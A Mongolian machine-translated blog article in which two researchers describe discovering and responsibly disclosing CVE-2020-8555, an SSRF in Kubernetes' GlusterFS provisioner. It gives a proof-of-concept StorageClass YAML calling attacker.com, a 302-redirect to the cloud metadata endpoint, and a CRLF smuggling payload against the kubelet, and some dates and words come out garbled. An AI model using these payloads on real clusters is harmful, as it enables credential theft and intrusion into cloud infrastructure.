🥇Энэ зөвхөн Кубернетес дэх эмзэг байдлын тухай биш үед...

Анхаарна уу. орчуулга.: Энэ нийтлэлийн зохиогчид эмзэг байдлыг хэрхэн илрүүлж чадсан талаар дэлгэрэнгүй ярьдаг CVE-2020–8555 Кубернетес хотод. Хэдийгээр эхэндээ энэ нь тийм ч аюултай биш юм шиг санагдаж байсан ч бусад хүчин зүйлүүдтэй хослуулан зарим үүлэн үйлчилгээ үзүүлэгчдийн хувьд түүний шүүмжлэл хамгийн дээд хэмжээнд хүрсэн. Хэд хэдэн байгууллага мэргэжилтнүүдийг ажил үйлсээрээ шагнаж урамшуулав.

Бид хэн бэ

Бид Францын аюулгүй байдлын хоёр судлаач бөгөөд Кубернетес дэх эмзэг байдлыг хамтдаа илрүүлсэн. Бидний нэрийг Brice Augras, Christophe Hauquiert гэдэг боловч олон Bug Bounty платформ дээр биднийг Reeverzax болон Hach гэж нэрлэдэг.

Брис Ауграс - Groupe Asten компани;
Кристоф Хаукиерт - Nokia-гийн Кубернетес архитектор.

Юу болсон бэ?

Энэхүү нийтлэл нь бидний энгийн судалгааны төсөл алдааны анчдын амьдралын хамгийн сэтгэл хөдөлгөм адал явдал болж хувирсан тухай (ядаж одоохондоо) хуваалцах арга юм.

Та бүхний мэдэж байгаагаар алдааны анчид хэд хэдэн онцлог шинж чанартай байдаг:

тэд пицца, шар айраг дээр амьдардаг;
Тэд бүгд унтаж байх үед ажилладаг.

Бид эдгээр дүрмээс үл хамаарах зүйл биш юм: бид ихэвчлэн амралтын өдрүүдээр уулзаж, нойргүй шөнийг хакерддаг. Гэвч эдгээр шөнийн нэг нь маш ер бусын байдлаар төгсөв.

Эхлээд бид уулзалтад оролцох талаар ярилцах гэж байсан CTF дараагийн өдөр. Удирдлагатай үйлчилгээний орчинд Кубернетесийн аюулгүй байдлын талаар ярилцах үеэр бид SSRF-ийн хуучин санааг санав.Сервер талын хүсэлтийг хуурамчаар үйлдэх) мөн үүнийг халдлагын скрипт болгон ашиглахаар шийдсэн.

Орой 11 цагт бид судалгаагаа хийхээр суугаад өглөө эрт унтсан бөгөөд үр дүнд нь маш их сэтгэл хангалуун байв. Энэхүү судалгааны үр дүнд бид MSRC Bug Bounty хөтөлбөртэй танилцаж, давуу эрх нэмэгдүүлэх ашиглалтыг олж авсан.

Хэдэн долоо хоног/сар өнгөрч, бидний санаанд оромгүй үр дүн нь Kubernetes-ээс авсан шагналаас гадна Azure Cloud Bug Bounty-ийн түүхэн дэх хамгийн өндөр шагналуудын нэг болсон юм!

Бидний судалгааны төсөл дээр үндэслэн Кубернетес бүтээгдэхүүний аюулгүй байдлын хороо нийтэлсэн CVE-2020–8555.

Одоо би аль болох илэрсэн эмзэг байдлын талаар мэдээлэл түгээмээр байна. Энэ олдворыг үнэлж, техникийн дэлгэрэнгүй мэдээллийг infosec нийгэмлэгийн бусад гишүүдтэй хуваалцана гэдэгт найдаж байна!

Ингээд бидний түүх энд байна...

Агуулга

Юу болсныг илүү сайн ойлгохын тулд эхлээд Кубернетес үүлэн удирдлагатай орчинд хэрхэн ажилладагийг харцгаая.

Та ийм орчинд Kubernetes кластер үүсгэх үед удирдлагын давхарга нь ихэвчлэн үүлэн үйлчилгээ үзүүлэгчийн үүрэг юм:

Хяналтын давхарга нь үүл үйлчилгээ үзүүлэгчийн периметр дээр байрладаг бол Кубернетес зангилаа нь хэрэглэгчийн периметрт байрладаг.

Эзлэхүүнийг динамикаар хуваарилахын тулд тэдгээрийг гадаад санах ойн нөөцөөс динамикаар хангах механизмыг ашигладаг бөгөөд тэдгээрийг PVC (байнгын эзэлхүүний нэхэмжлэл, өөрөөр хэлбэл эзлэхүүний хүсэлт) -тэй харьцуулдаг.

Тиймээс PVC-ийг үүсгэн K8s кластерт StorageClass-тай холбосны дараа эзлэхүүнийг хангах дараагийн үйлдлүүдийг kube/Cloud хянагчийн менежер хариуцна (түүний яг нэр нь хувилбараас хамаарна). (Анхаарна уу. орчуулга.: Бид аль хэдийн үүлэн үйлчилгээ үзүүлэгчдийн нэгэнд зориулж CCM-ийн хэрэгжилтийн жишээг ашиглан илүү ихийг бичсэн энд.)

Kubernetes-ийн дэмждэг хэд хэдэн төрлийн ханган нийлүүлэгч байдаг: тэдгээрийн ихэнх нь багтсан болно оркестрийн цөм, харин бусад нь кластер дахь pods-д байрлуулсан нэмэлт хангагчаар удирддаг.

Судалгааны явцад бид эзлэхүүний нөөцийн дотоод механизмд анхаарлаа хандуулсан бөгөөд үүнийг доор харуулав.

Суурилуулсан Kubernetes хангагчийг ашиглан эзлэхүүний динамик хангамж

Товчхондоо, Kubernetes-ийг удирдаж буй орчинд байрлуулах үед хянагч менежер нь үүлэн үйлчилгээ үзүүлэгчийн хариуцах боловч эзлэхүүн үүсгэх хүсэлт (дээрх диаграммын 3 дугаар) нь үүлэн үйлчилгээ үзүүлэгчийн дотоод сүлжээг орхидог. Эндээс л бүх зүйл үнэхээр сонирхолтой болж байна!

Хакердах хувилбар

Энэ хэсэгт бид дээр дурдсан ажлын урсгалын давуу талыг хэрхэн ашиглаж, үүлэн үйлчилгээ үзүүлэгчийн дотоод нөөцөд хандсан тухай тайлбарлах болно. Энэ нь дотоод итгэмжлэл авах, эрх олголтыг нэмэгдүүлэх зэрэг тодорхой үйлдлүүдийг хэрхэн хийж болохыг харуулах болно.

Нэг энгийн заль мэх (энэ тохиолдолд Үйлчилгээний талын хүсэлтийг хуурамчаар үйлдэх) нь үйлчлүүлэгчийн орчноос гадуур удирдаж буй K8-ийн дагуу янз бүрийн үйлчилгээ үзүүлэгчдийн кластерт шилжихэд тусалсан.

Бид судалгаандаа GlusterFS үйлчилгээ үзүүлэгч дээр анхаарлаа хандуулсан. Энэ хүрээнд үйлдлүүдийн цаашдын дарааллыг тодорхойлсон хэдий ч Quobyte, StorageOS болон ScaleIO нь ижил эмзэг байдалд өртөмтгий байдаг.

Динамик эзлэхүүний хангамжийн механизмыг буруугаар ашиглах

Хадгалалтын ангийн шинжилгээний явцад GlusterFS Голанг үйлчлүүлэгчийн эх кодонд бид анзаарсанЭзлэхүүн үүсгэх явцад илгээсэн эхний HTTP хүсэлт (3) дээрх параметр дэх захиалгат URL-ын төгсгөлд resturl нэмсэн /volumes.

Нэмэх замаар бид энэ нэмэлт замаас ангижрахаар шийдсэн # параметрт resturl. Хагас сохор SSRF-ийн эмзэг байдлыг шалгахад бидний ашигласан анхны YAML тохиргоо энд байна. (жишээ нь та хагас сохор эсвэл хагас хараагүй SSRF-ийн талаар илүү ихийг уншиж болно. энд - ойролцоогоор. орчуул.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Дараа нь бид Kubernetes кластерыг алсаас удирдахын тулд хоёртын файлыг ашигласан кубектл. Ер нь үүл үйлчилгээ үзүүлэгчид (Azure, Google, AWS гэх мэт) энэ хэрэгсэлд ашиглах итгэмжлэл авах боломжийг олгодог.

Үүний ачаар би "тусгай" файлаа ашиглах боломжтой болсон. Kube-controller-manager нь үүссэн HTTP хүсэлтийг гүйцэтгэсэн:

kubectl create -f sc-poc.yaml

Халдагчийн байр сууринаас хариулт

Үүний дараахан бид зорилтот серверээс тушаалаар дамжуулан HTTP хариу хүлээн авах боломжтой болсон describe pvc буюу get events kubectl дээр. Үнэн хэрэгтээ: энэ анхдагч Kubernetes драйвер нь сэрэмжлүүлэг/алдааны мэдээндээ хэтэрхий дэлгэрэнгүй...

Энд холбоос бүхий жишээ байна https://www.google.frпараметр болгон тохируулна resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Энэ аргын хувьд бид гэх мэт асуултуудаар хязгаарлагдаж байсан HTTP POST мөн буцах код нь байсан бол хариултын байгууллагын агуулгыг авч чадаагүй 201. Тиймээс бид нэмэлт судалгаа хийхээр шийдэж, энэхүү хакердах хувилбарыг шинэ арга барилаар өргөжүүлсэн.

Бидний судалгааны хувьсал

Нарийвчилсан хувилбар №1: Гадаад серверээс 302 чиглүүлэлт ашиглан HTTP аргыг өөрчилснөөр дотоод өгөгдөл цуглуулах илүү уян хатан арга бий болно.
Нарийвчилсан хувилбар №2: LAN сканнердах болон дотоод нөөцийг илрүүлэх автоматжуулалт.
Нарийвчилсан хувилбар №3: HTTP CRLF + хууль бусаар хил нэвтрүүлэх ("хүсэлт хууль бусаар хил нэвтрүүлэх") ашиглан тусгай HTTP хүсэлтийг үүсгэж, kube хянагч бүртгэлээс гаргаж авсан өгөгдлийг олж авна.

Техникийн үзүүлэлт

Судалгаанд Хойд Европын бүс нутагт Kubernetes 1.12 хувилбартай Azure Kubernetes үйлчилгээг (AKS) ашигласан.
Гурав дахь хувилбараас бусад тохиолдолд дээр дурдсан хувилбаруудыг Kubernetes-ийн хамгийн сүүлийн хувилбарууд дээр гүйцэтгэсэн. түүнд Golang хувилбар ≤ 1.12-оор бүтээгдсэн Кубернетес хэрэгтэй байсан.
Халдагчийн гадаад сервер - https://attacker.com.

Нарийвчилсан хувилбар №1: HTTP POST хүсэлтийг GET рүү дахин чиглүүлж, нууц мэдээллийг хүлээн авах

Анхны аргыг халдагчийн серверийн тохиргоог хийснээр сайжруулсан 302 HTTP дахин кодPOST хүсэлтийг GET хүсэлт рүү хөрвүүлэхийн тулд (диаграмын 4-р алхам):

Үйлчлүүлэгчээс ирсэн анхны хүсэлт (3). GlusterFS (Хяналтын менежер), POST төрөлтэй. Эдгээр алхмуудыг хийснээр бид үүнийг GET болгон хувиргаж чадсан:

Параметр болгон resturl StorageClass-д үүнийг зааж өгсөн болно http://attacker.com/redirect.php.
Төгсгөлийн цэг https://attacker.com/redirect.php Дараах Байршлын толгой хэсэг бүхий 302 HTTP статусын кодоор хариулна: http://169.254.169.254. Энэ нь өөр ямар ч дотоод нөөц байж болно - энэ тохиолдолд дахин чиглүүлэх холбоосыг зөвхөн жишээ болгон ашигладаг.
анхдагчаар net/http номын сан Голанг хүсэлтийг дахин чиглүүлж, POST-г 302 статус код бүхий GET болгон хувиргаснаар зорилтот нөөц рүү HTTP GET хүсэлтийг илгээдэг.

HTTP хариултын хэсгийг уншихын тулд та хийх хэрэгтэй describe PVC объект:

kubectl describe pvc xxx

Бидний хүлээн авах боломжтой JSON форматтай HTTP хариултын жишээ энд байна:

Тухайн үед олдсон эмзэг байдлын боломжууд дараахь зүйлүүдээс шалтгаалан хязгаарлагдмал байсан.

Гарах хүсэлтэд HTTP толгой хэсгийг оруулах боломжгүй байна.
Бие дэх параметрүүдтэй POST хүсэлтийг гүйцэтгэх боломжгүй (энэ нь дээр ажиллаж байгаа etcd жишээнээс түлхүүр утгыг хүсэхэд тохиромжтой. 2379 шифрлэгдээгүй HTTP ашиглаж байгаа бол порт).
Статус код 200 байхад хариуд JSON агуулгын төрөл байхгүй үед хариултын агуулгыг авах боломжгүй.

Нарийвчилсан хувилбар №2: Дотоод сүлжээг сканнердаж байна

Энэхүү хагас сохор SSRF аргыг дараа нь үүлэн үйлчилгээ үзүүлэгчийн дотоод сүлжээг сканнердаж, хариултууд дээр үндэслэн янз бүрийн сонсох үйлчилгээнүүдийг (Мета өгөгдөл, Кубелет гэх мэт) санал асуулга авахад ашигласан. куб хянагч.

Эхлээд Kubernetes бүрэлдэхүүн хэсгүүдийн стандарт сонсох портуудыг (8443, 10250, 10251 гэх мэт) тодорхойлсон бөгөөд дараа нь сканнердах процессыг автоматжуулах шаардлагатай болсон.

Нөөцийг сканнердах энэ арга нь маш өвөрмөц бөгөөд сонгодог сканнер болон SSRF хэрэгслүүдэд тохирохгүй байгааг хараад бид бүх үйл явцыг автоматжуулах bash скрипт дээр өөрсдийн ажилчдыг бий болгохоор шийдсэн.

Тухайлбал, дотоод сүлжээний 172.16.0.0/12 мужийг хурдан сканнердах зорилгоор 15 ажилчдыг зэрэгцүүлэн ажиллуулсан. Дээрх IP мужийг зөвхөн жишээ болгон сонгосон бөгөөд таны үйлчилгээ үзүүлэгчийн IP мужид өөрчлөлт оруулж болно.

Нэг IP хаяг болон нэг портыг скан хийхийн тулд та дараах зүйлийг хийх хэрэгтэй.

хамгийн сүүлд шалгагдсан StorageClass-ийг устгах;
өмнөх баталгаажуулсан Байнгын хэмжээний нэхэмжлэлийг арилгах;
IP болон портын утгыг өөрчлөх sc.yaml;
шинэ IP болон порттой StorageClass үүсгэх;
шинэ PVC үүсгэх;
describe for PVC ашиглан сканнерын үр дүнг гаргаж авна уу.

Нарийвчилсан хувилбар №3: CRLF тарилга + Kubernetes кластерын "хуучин" хувилбаруудад HTTP хууль бусаар нэвтрүүлэх

Үүнээс гадна үйлчилгээ үзүүлэгч нь K8s кластерын хуучин хувилбаруудыг үйлчлүүлэгчдэд санал болгосон и тэдэнд kube-controller-менежерийн бүртгэлд хандах боломжийг олгосон нь үр нөлөө нь улам бүр чухал болсон.

Халдагчид өөрийн үзэмжээр бүрэн HTTP хариу авах зорилготой HTTP хүсэлтийг өөрчлөх нь үнэхээр илүү тохиромжтой юм.

Сүүлийн хувилбарыг хэрэгжүүлэхийн тулд дараахь нөхцлийг хангасан байх ёстой.

Хэрэглэгч kube-controller-manager бүртгэлд хандах эрхтэй байх ёстой (жишээлбэл, Azure LogInsights дээр).
Kubernetes кластер нь Golang-ийн 1.12-оос доош хувилбарыг ашиглах ёстой.

Бид GlusterFS Go клиент болон хуурамч зорилтот серверийн хоорондох харилцаа холбоог загварчилсан орон нутгийн орчинг байрлуулсан (бид одоогоор PoC-ийг нийтлэхээс татгалзах болно).

Олджээ эмзэг байдал, Голангийн 1.12-аас доош хувилбаруудад нөлөөлж, хакеруудад HTTP хууль бус наймаа/CRLF халдлага хийх боломжийг олгодог.

Дээр дурдсан хагас сохор SSRF-ийг нэгтгэснээр вместе Үүний тусламжтайгаар бид kube-controller-менежерийн боловсруулсан толгой хэсэг, HTTP арга, параметр, өгөгдлийг солих зэрэг хүсэлтийг хүссэнээрээ илгээх боломжтой болсон.

Параметрт ажиллаж буй "өгөөш"-ийн жишээ энд байна resturl Үүнтэй төстэй халдлагын хувилбарыг хэрэгжүүлдэг StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Үр дүн нь алдаа юм хүсээгүй хариу, хянагчийн бүртгэлд бичигдсэн мессеж. Өгөгдмөлөөр идэвхжсэн дэлгэрэнгүй тайлбарын ачаар HTTP хариу мессежийн агуулгыг мөн тэнд хадгалдаг.

Энэ бол үзэл баримтлалын баталгааны хүрээнд бидний хамгийн үр дүнтэй “өгөөш” байлаа.

Энэ аргыг ашиглан бид янз бүрийн удирддаг k8s үйлчилгээ үзүүлэгчдийн кластерууд дээр дараах халдлагуудын заримыг хийж чадсан: мета өгөгдлийн жишээн дээрх итгэмжлэлээр давуу эрх нэмэгдүүлэх, etcd мастер инстанцууд дээр (шифрлэгдээгүй) HTTP хүсэлтээр дамжуулан Master DoS гэх мэт.

Үр дагавар

Бидний олж илрүүлсэн SSRF-ийн эмзэг байдлын талаар Кубернетес албан ёсны мэдэгдэлд үүнийг үнэлэв CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Хэрэв бид зөвхөн Kubernetes периметртэй холбоотой эмзэг байдлыг авч үзвэл бүрэн бүтэн байдлын вектор (бүрэн бүтэн байдлын вектор) гэсэн шалгуурыг хангана Аль нь ч биш.

Гэсэн хэдий ч, удирдаж буй үйлчилгээний орчны нөхцөл байдалд болзошгүй үр дагаврыг үнэлэх (мөн энэ нь бидний судалгааны хамгийн сонирхолтой хэсэг байсан!) биднийг эмзэг байдлыг дахин ангилахыг уриалав. Чухал CVSS10/10 олон дистрибьютерийн хувьд.

Үүлэн орчин дахь болзошгүй нөлөөллийг үнэлэхдээ бидний анхаарах зүйлсийг ойлгоход тань туслах нэмэлт мэдээллийг доор харуулав.

Шударга байдал

Олж авсан дотоод итгэмжлэлүүдийг ашиглан тушаалуудыг алсаас гүйцэтгэх.
IDOR (Аюулгүй шууд объектын лавлагаа) аргыг ашиглан дээрх хувилбарыг дотоод сүлжээнээс олдсон бусад эх сурвалжтай хуулбарлаж байна.

Нууцлал

Довтолгооны төрөл Хажуугийн хөдөлгөөн үүлэн итгэмжлэлийг хулгайлсан (жишээлбэл, мета өгөгдлийн API).
Дотоод сүлжээг сканнердах замаар мэдээлэл цуглуулах (SSH хувилбар, HTTP серверийн хувилбарыг тодорхойлох, ...).
Мета өгөгдлийн API (http://169.254.169.254, ...).
Клоуд итгэмжлэлийг ашиглан хэрэглэгчийн мэдээллийг хулгайлах.

Бэлэн байдал

Довтолгооны векторуудтай холбоотой бүх ашиглалтын хувилбарууд бүрэн бүтэн байдал, нь хор хөнөөлтэй үйлдлүүдэд ашиглагдаж, үйлчлүүлэгчийн периметрээс (эсвэл бусад) үндсэн тохиолдлуудыг ашиглах боломжгүй болоход хүргэдэг.

Бид K8s-ийн удирдлагатай орчинд ажиллаж, бүрэн бүтэн байдалд үзүүлэх нөлөөллийг үнэлж байсан тул хүртээмжид нөлөөлж болох олон хувилбаруудыг төсөөлж чадна. Нэмэлт жишээнд etcd мэдээллийн санг эвдэх эсвэл Kubernetes API руу чухал дуудлага хийх зэрэг орно.

Он дараалал

6 оны 2019-р сарын XNUMX: MSRC Bug Bounty-д эмзэг байдлын талаар мэдээлсэн.
3 оны 2020-р сарын XNUMX: Гуравдагч тал Кубернетес хөгжүүлэгчдэд бид аюулгүй байдлын асуудал дээр ажиллаж байгааг мэдэгдсэн. Мөн тэднээс SSRF-ийг дотоод (үндсэн) эмзэг байдал гэж үзэхийг хүссэн. Дараа нь бид асуудлын эх сурвалжийн талаар техникийн дэлгэрэнгүй мэдээлэл бүхий ерөнхий тайланг өгсөн.
15 оны 2020-р сарын XNUMX: Бид Kubernetes-ийн хөгжүүлэгчдийн хүсэлтийн дагуу техникийн болон ерөнхий тайлангуудыг өгсөн (HackerOne платформоор дамжуулан).
15 оны 2020-р сарын 8: Kubernetes-ийн хөгжүүлэгчид өнгөрсөн хувилбаруудад зориулсан хагас сохор SSRF + CRLF тарилга нь үндсэн сул тал гэж үзэж байгааг бидэнд мэдэгдэв. Бид нэн даруй бусад үйлчилгээ үзүүлэгчдийн периметрт дүн шинжилгээ хийхээ больсон: KXNUMXs баг одоо үндсэн шалтгааныг шийдэж байна.
15 оны 2020-р сарын XNUMX: MSRC шагналыг HackerOne-ээр хүлээн авсан.
16 оны 2020-р сарын XNUMX: Kubernetes PSC (Бүтээгдэхүүний аюулгүй байдлын хороо) эмзэг байдлыг хүлээн зөвшөөрч, олон тооны хохирогч байж болзошгүй тул үүнийг XNUMX-р сарын дунд хүртэл нууцлахыг хүссэн.
11 оны 2020-р сарын XNUMX: Google VRP шагналыг хүлээн авлаа.
4 оны 2020-р сарын XNUMX: Kubernetes шагналыг HackerOne-ээр хүлээн авсан.
15 оны 2020-р сарын 19: COVID-XNUMX-ийн нөхцөл байдлын улмаас олон нийтэд мэдээлэхийг хойшлуулсан.
1 оны 2020-р сарын XNUMX: Кубернетес + Майкрософт эмзэг байдлын талаар хамтарсан мэдэгдэл.

TL, DR

Бид шар айраг ууж, пицца иддэг :)
Бид Кубернетес дэх үндсэн сул талыг олж илрүүлсэн ч тэгэх бодолгүй байсан.
Бид өөр өөр үүлэн үйлчилгээ үзүүлэгчдийн кластерууд дээр нэмэлт дүн шинжилгээ хийж, нэмэлт гайхалтай урамшуулал авахын тулд эмзэг байдлаас үүдэлтэй хохирлыг нэмэгдүүлэх боломжтой болсон.
Энэ нийтлэлээс та техникийн олон мэдээллийг олж авах болно. Бид тантай ярилцахдаа баяртай байх болно (Twitter: @ReeverZax & @__hach_).
Бүх төрлийн албан ёсны ажил, тайлагнах нь төсөөлж байснаас хамаагүй удаан үргэлжилсэн нь тодорхой болсон.

лавлагаа

Орчуулагчийн жич

Мөн манай блог дээрээс уншина уу:

Эх сурвалж: www.habr.com

Энэ нь зөвхөн Kubernetes-ийн эмзэг байдлын тухай биш юм бол...